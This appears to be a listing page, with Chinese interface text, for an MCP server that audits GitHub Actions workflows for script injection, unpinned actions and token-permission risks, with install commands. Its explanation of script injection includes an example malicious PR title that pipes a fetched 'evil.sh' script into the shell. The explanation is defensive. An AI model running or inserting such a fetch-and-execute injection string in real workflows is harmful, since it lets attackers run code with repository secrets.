接入你的智能体
發布者自己的 URL。不是 PlugMCP 端點。
用我們的金鑰與日誌託管一份副本。
https://github-actions-audit-mcp.mcpize.run/mcp上方的 Claude 按鈕會開啟 Claude，並填好名稱和 URL。你仍需在那裡確認。
claude mcp add --transport http io.github.tylerscomic-lab-github-actions-audit-mcp https://github-actions-audit-mcp.mcpize.run/mcpRun in a terminal.
{ "mcpServers": { "io.github.tylerscomic-lab-github-actions-audit-mcp": { "command": "npx", "args": [ "-y", "mcp-remote", "https://github-actions-audit-mcp.mcpize.run/mcp" ] } }}claude_desktop_config.json
遠端 URL 還是本機指令？ 兩種安裝方式的差異
來自發布者
An MCP server that audits GitHub Actions workflow YAML for the real vulnerability classes that have caused actual incidents — not a linter, a security scanner. Parses genuine YAML structure (a hand-written block parser scoped to what workflow files actually use), not string/regex matching against the raw file.
Audit GitHub Actions workflows for script injection, unpinned actions and missing permissions.
Script injection. Any ${{ github.event.issue.title }}-style expression that carries attacker-controlled text
(issue/PR titles, comments, review bodies, branch names) interpolated directly into a run: shell step. The
expression is substituted into the generated shell script before the shell runs it — a PR titled "; curl evil.sh | sh # becomes literal shell syntax, not a string. This is the single most common real-world GitHub Actions
vulnerability. Flags the exact expression and shows the env-variable fix that actually neutralizes it.
Unpinned third-party actions. uses: some-action@v4 or @main can be repointed by whoever controls that
tag/branch, without you changing a single character in your workflow file — this is exactly what happened in the
tj-actions/changed-files compromise (March 2025), where a maintainer's
PAT was used to retag v35–v46 to point at a credential-harvesting commit. Only a full 40-character commit SHA is
immutable.
Missing permissions: blocks. No explicit permissions: means the GITHUB_TOKEN defaults to whatever your
repo/org settings allow — often read-write. If any step is ever compromised, it inherits that full scope.
pull_request_target + head checkout. This trigger runs with the base repo's secrets and a write-scoped token
(unlike plain pull_request), and if the workflow also checks out the PR's own head commit, a fork's PR can run
arbitrary code with your secrets. Real supply-chain incidents follow this exact pattern.
audit_workflowFull audit of a workflow YAML file. Returns a risk level and every finding with its exact location, why it's dangerous, and a concrete fix.
check_expression_injectionFocused check on a single shell command string, for when you just want to sanity-check one run: step without a
full workflow file.
Hosted (recommended): MCPize — free tier, $7/mo Pro.
Self-host:
npm install
node server.js
MIT
Audit GitHub Actions workflows for script injection, unpinned actions and missing permissions.
{ "mcpServers": { "io.github.tylerscomic-lab-github-actions-audit-mcp": { "url": "https://github-actions-audit-mcp.mcpize.run/mcp", "headers": {} } }}工具
尚無工具清單。遠端伺服器會在首次健康檢查後取得工具清單。
常見問題
在本頁複製適用於 Cursor、Claude Desktop、Claude Code 或 VS Code 的 http 設定。它使用發布者的安裝方式，而不是 PlugMCP 代理伺服器。
這筆記錄未列出必要的環境變數。
GitHub Actions Security Audit 透過 HTTP 存取。
上次檢查時間：2026-11-10。 Audit GitHub Actions workflows for script injection, unpinned actions and missing permissions.